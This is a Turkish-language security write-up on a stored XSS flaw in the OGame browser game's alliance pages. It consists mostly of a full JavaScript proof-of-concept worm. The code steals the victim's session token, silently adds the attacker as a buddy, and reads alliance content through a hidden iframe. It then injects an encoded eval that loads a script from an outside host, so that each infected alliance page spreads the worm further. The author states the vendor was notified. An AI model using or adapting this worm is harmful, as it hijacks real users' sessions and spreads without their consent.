OGame bir çesit uzay stratejisi simulasyonudur. Aynı anda binlerce oyuncu tarafından karsılıklı olarak oynanır. Oynayabilmek için sadece normal bir internet gezgini gerekir.*
OGame'de oyuncular ittifak kurabilir, varolan ittifakları görebilir ve bunlara katılabilirler. İttifak ana sayfasında diğer kullanıcılar için açıklayıcı yazılar ve resimler yayınlanabilir. Bu yazıları ve resimleri ittifakı kuran oyuncu oluşturur ve yayınlar. İşte bu yazıları ve resimleri girmek için sağlanan arayüzde bulunan girdi denetimi yetersizliği kullanılarak, bir "depolanmış XSS" (stored XSS) saldırısı gerçekleştirilebilmektedir.
Not: OGame site yöneticileri bu açıklık ile ilgili olarak 2006 Aralık ayında ve daha sonrasında haberdar edilmişlerdir.
Bu yazıda, bulunan depolanmış XSS açıklığının detayları anlatılmayacaktır. Ancak en basit durumu ile bu açıklık kullanılarak, myspace web 2.0 solucanında [1] olduğu gibi, saldırganı saldırıya maruz kalan kullanıcılara arkadaş olarak ekletmek mümkündür.
Aşağıdaki saldırı dizgisi, çalışmayan kısımları değiştirilmiş Attack API 2.0 [2] kullanılarak yazılmıştır. Dizgiyi çok daha efektif hale getirmek ve her ne kadar saldırı dizgisi üçüncü parti bir sunucudan indiriliyor halde ise de, saldırıyı böyle bir bağımlılık oluşturmadan da yapmak mümkündür. Kısacası gösterilen bölümler bir konsept uygulamasıdır (PoC).
Bu yazı ile beraber basit bir saldırı demosu da buradan indirilebilir. Videoyu izlemek için WebEx Player gereklidir.[3]
OGAMEATTACK = { emailregex : /value="([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+/g, sessionregex : /\?session=[a-f0-9]+/g }; OGAMEATTACK.getSessionToken = function(){ matches = document.body.innerHTML.match(OGAMEATTACK.sessionregex); sessionid = matches[0].substr(1); //console.log("session id is retrieved: " + sessionid); return sessionid; } OGAMEATTACK.addBuddy = function(){ request = { onload : function(response){ //if(response.status == 200) //console.log("buddy add request is made"); }, method : 'POST', url : 'buddy.php?' + this.getSessionToken(), body : 'a=1&s=3&e=1&u=139283&text=merhaba' }; AttackAPI.dom.requestXML(request); } OGAMEATTACK.addPayload = function(){ request = { onload : function(response){ //if(response.status == 200) //console.log("payload add request is made"); }, method : 'POST', url : 'allianzen.php?' + this.getSessionToken() + '&a=11', body : 'text=' + OGAMEATTACK.originalallianzcontent + '%0D%0A[Removed]'+ '%3D%22eval%28unescape%28%27var%2520script%2520'+ '%253D%2520document.createElement%2528%2527scri'+ 'pt%2527%2529%253B%250Ascript.src%2520%253D%25'+ '20%2527http%253A%252F%252Fyesyese.nononono.com'+ '%252Fcranium%252Fogamesmall.txt%2527%253B%250A'+ 'script.type%2520%253D%2520%2527text%252Fjavasc'+ 'ript%2527%253B%250Ascript.defer%2520%253D%2520'+ 'true%253B%250Adocument.getElementsByTagName%25'+ '28%2527head%2527%2529%255B0%255D.appendChild%25'+ '28script%2529%253B%27%29%29%22[Removed]&t=1' }; if(OGAMEATTACK.originalallianzcontent){ if(!OGAMEATTACK.originalallianzcontent.match(/ogamesmall/g)) AttackAPI.dom.requestXML(request); //else //console.log("already infected alliance"); } } OGAMEATTACK.grabOriginalAllianzContent = function(){ var ifr = document.createElement('iframe'); ifr.style.visibility = 'hidden'; ifr.style.width = ifr.style.height = 0; ifr.src = 'allianzen.php?' + this.getSessionToken() + '&a=5&t=1'; ifr.onload = function(){ var doc = AttackAPI.dom.getDocument(this); var allianzContent = doc.getElementsByName("text")[0]; if(allianzContent){ //console.log("allianz content is grabbed: " + allianzContent.value); OGAMEATTACK.originalallianzcontent = allianzContent.value; OGAMEATTACK.addPayload(); } // remove the iframe here document.body.removeChild(ifr); }; document.body.appendChild(ifr); } OGAMEATTACK.main = function(email){ OGAMEATTACK.addBuddy(); OGAMEATTACK.grabOriginalAllianzContent(); } OGAMEATTACK.main();
Kurban kullanıcı, zehirlenmiş ittifak sayfasını tarayıcısında (örn: IE, FF) açıktıktan sonra gerçekleşen 3 adım aşağıda anlatılmıştır;
Girdi denetim yetersizliğinin bulunduğu arayüzdeki kısıtlamalar ve ittifak arayüzlerinin oluşturulma ve ziyaret edilme sıklıkları nedeniyle solucanın yayılma hızı yavaş olacaktır.
Son yıllarda çıkan javascript saldırı API'ları ile enjeksiyon saldırılarını gerçeklemek daha basit hale gelmiştir.
* www.ogame.com.tr
Referanslar: